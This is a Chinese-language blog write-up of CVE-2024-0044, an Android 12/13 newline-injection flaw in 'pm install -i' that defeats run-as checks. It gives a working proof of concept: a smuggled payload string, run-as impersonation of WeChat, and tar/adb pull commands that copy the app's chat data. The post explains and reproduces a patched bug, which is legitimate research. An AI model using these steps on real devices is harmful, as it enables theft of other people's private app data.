CVE-2024-0044,致使 Android 12/13 提权那些事

前言

最近在倒腾 Android 逆向相关,期间了解了一个比较有意思的漏洞(CVE_2024_0044),这个漏洞可以突破 Android 12/13 系统提权备份应用数据(例如:提取微信数据,难怪最近各厂家先后突破 Android 12/13 提权备份,乐~)。正好我的手机还是 Android 13 系统,遂复现了一下,发现漏洞存在并成功利用,以及利用漏洞提取出微信聊天等数据。

详细信息

在 Android 12 和 13 上,通过 pm install-i 标志设置时,新安装应用程序的“Installer package name”未经过清理。无论是 pm[1] 还是底层的 PackageInstallerService[2] 都没有检查它是否包含特殊字符,更不用说它是否引用了已安装的软件包。

尽管在写入 /data/system/packages.xml 时,安装程序包名称中的特殊字符会被无害地转义,但在写入 /data/system/packages.list却没有进行转义[3] ,这会以简单的换行和空格分隔格式复制了某些软件包的元数据。通过提供带有换行符和空格的名称,具有 ADB shell 访问权限的攻击者可以将任意数量的虚假字段和条目注入到 packages.list 中。

packages.list 的一个用户是 run-as (还有如 simpleperf_app_runner[4] ,但 run-as 是该问题造成的最大安全威胁),它允许 ADB shell 在给定应用程序的上下文中运行代码。run-as 旨在拒绝不可调试的应用程序,但它会从 packages.list 查询应用程序的可调试性(以及其 UIDSELinux 上下文和数据目录)。通过相关注入使得保留后者但更改前者的伪造条目,攻击者可以绕过可调试性检查并成为系统上的几乎任何应用程序。

我们之所以说“几乎”,是因为 run-as 确实有一些额外的纵深防御检查,其中最值得注意的是即使 packages.list 显示它应该这样做,它也不会去假设非应用程序 UID(包括 system 用户,以及保留最高特权的应用程序),也不会假设与真实应用程序相同的 SELinux 上下文,因为它只考虑 fromRunAs=trueseapp_contexts[5] ,这对非特权应用程序没有影响,因为 runas_app[6] 严格来说比 untrusted_app[7] 更有特权,但它确实阻止攻击者执行针对 priv_app[8]platform_app[9] 上的操作——即使是作为通常可以执行的应用程序。

问题还因为 run-as 中的另一个逻辑错误而加剧,该错误使其可以针对 privapps 。通常情况下,在 check_data_path() 中的检查会禁止这种操作,该函数试图确保:

  1. 应用程序数据目录的每个父级都由系统拥有。
  2. 数据目录本身由应用程序UID拥有。

由于 run-as 不允许对 privapp_data_file 进行 stat() 状态检查操作,上述的第 2 点检查对于具有 UID 不匹配(如果伪造应用程序具有错误的数据目录)或权限被拒绝(如果伪造应用程序的数据目录正确)的 privapp 应该失败。然而,执行每个检查的 check_directory()[10] 辅助函数包含一个针对路径 /data/user/0 的特殊情况。尽管仅允许该路径成为符号链接,但这种特殊情况也无意中跳过了 UID 的验证。因此,通过将假冒应用的数据路径设置为/data/user/0,攻击者可以满足 run-as 的内部安全检查。一旦进入 runas_app ,他们就可以读取和写入 privapp_data_file ,因为 Android 有点令人困惑地允许任何应用程序这样做。

在具有 Google 移动服务(GMS)的 Android 设备上,攻击者通过写 /data/user_de/0/com.google.android.gms/app_chimera/m/*/oat/ 中的缓存 ODEX/VDEX 文件(这些文件包含 GMS 加载的未签名可执行代码),可以在 GMS 中获得持久性(在此过程中升级到 gmscore_app )。其中一些代码还会加载到使用 Google API 的应用程序中,也允许在这些地方保持持久性。这本身不是一个漏洞,但确实强调了在 privapp 数据目录中强制执行 W|X 的重要性。

漏洞复现

漏洞的整个利用过程也很简单,主要就 4 步,本次复现设备是个人的 Redmi K40 设备,系统版本:Xiaomi HyperOS 1.0.6.0.TKHCNXM(Android 13),本次以微信 APP 为例,复现步骤如下:

1、利用 ADB Shell 查看微信 UID:

alioth@shell:/ $ pm list package -U |grep com.tencent.mm
package:com.tencent.mm uid:10260,99910260
alioth@shell:/ $

2、推送任意一个 app 到 /data/local/tmp 目录下:

adb push test.apk /data/local/tmp/test.apk

3、执行相关 POC ,这里将下述的 UID 替换为微信的 UID( victim 这个名称也是可以更改):

PAYLOAD="@null
victim [UID] 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/test.apk

将上述的代码在 ADB Shell 命令框中运行,效果如下:

alioth@shell:/ $ PAYLOAD="@null
> victim 10260 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
alioth@shell:/ $ pm install -i "$PAYLOAD" /data/local/tmp/test.apk
Success
alioth@shell:/ $

上述的 victim [uid] 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null 解释如下:

  • 第三个字段,数字 1 表示该包是否可调试。
  • 第四个字段,/data/user/0是成为 privapps 所需的数据路径,如上述分析所说。
  • 第五个字段则用于派生 SELinux 域,并设置为适用于任何针对 Target API >= 28 的应用程序的通用值。
  • 其他字段对于 run-as 来说并不重要。

4、切换为微信用户:

alioth@shell:/ $ run-as victim
alioth@u0_a260:/data/user/0 $ id
uid=10260(u0_a260) gid=10260(u0_a260) groups=10260(u0_a260),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs),50260(all_a260) context=u:r:runas_app:s0:c4,c257,c512,c768
alioth@u0_a260:/data/user/0 $

可见此时的 shell 已经是微信 UID 了。通过命令也可查看目标应用数据(其它应用没有权限),如图所示:CVE-2024-0044,致使 Android 12/13 提权那些事

提取数据

上述操作我们成功获得目标应用权限,但是这个用户只有应用目录的权限,没法在其他目录创建文件,因此我们再借助另一个 ADB Shell 终端,先把文件创建好再写入数据,如下:

alioth@shell:/ $ mkdir /data/local/tmp/mm/
alioth@shell:/ $ touch /data/local/tmp/mm/mm.tar
alioth@shell:/ $ chmod -R 0777 /data/local/tmp/mm/
alioth@shell:/ $ run-as victim
alioth@u0_a260:/data/user/0 $ tar -cf /data/local/tmp/mm/mm.tar com.tencent.mm

拉取数据:

adb pull /data/local/tmp/mm/mm.tar

后续若取消提权,只需要把操作过程中安装的 test.apk 卸载即可。

在 Android 14 中,PackageInstallerService 确保了安装程序包名称引用已安装的软件包,因此该漏洞已修复。

因文章可能二次修改,点击下方 阅读原文 即可直达个人博客阅读原文。

参考资料

[1]

pm: https://cs.android.com/android/platform/superproject/+/android-13.0.0_r74:frameworks/base/services/core/java/com/android/server/pm/PackageManagerShellCommand.java;l=3062

[2]

PackageInstallerService: https://cs.android.com/android/platform/superproject/+/android-13.0.0_r74:frameworks/base/services/core/java/com/android/server/pm/PackageInstallerService.java;l=643-653

[3]

却没有进行转义: https://cs.android.com/android/platform/superproject/+/android-13.0.0_r74:frameworks/base/services/core/java/com/android/server/pm/Settings.java;l=2805

[4]

simpleperf_app_runner: https://cs.android.com/android/platform/superproject/+/android-13.0.0_r74:system/extras/simpleperf/simpleperf_app_runner/simpleperf_app_runner.cpp;l=85

[5]

seapp_contexts: https://cs.android.com/android/platform/superproject/+/android-13.0.0_r74:system/sepolicy/private/seapp_contexts;l=177-178

[6]

runas_app: https://cs.android.com/android/platform/superproject/+/android-13.0.0_r74:system/sepolicy/private/runas_app.te

[7]

untrusted_app: https://cs.android.com/android/platform/superproject/+/android-13.0.0_r74:system/sepolicy/private/untrusted_app_all.te

[8]

priv_app: https://cs.android.com/android/platform/superproject/+/android-13.0.0_r74:system/sepolicy/private/priv_app.te

[9]

platform_app: https://cs.android.com/android/platform/superproject/+/android-13.0.0_r74:system/sepolicy/private/platform_app.te

[10]

check_directory(): https://cs.android.com/android/platform/superproject/+/android-13.0.0_r74:system/core/run-as/run-as.cpp;l=73-96

[11]

Bypassing the ‘run-as’ debuggability check on Android via newline injection: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

[12]

Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044: https://tinyhack.com/2024/06/07/extracting-whatsapp-database-or-any-app-data-from-android-12-13-using-cve-2024-0044/?s=03


原文始发于微信公众号(小杨学安全):CVE-2024-0044,致使 Android 12/13 提权那些事

版权声明:admin 发表于 2024年7月4日 下午7:10。
转载请注明:CVE-2024-0044,致使 Android 12/13 提权那些事 | CTF导航

相关文章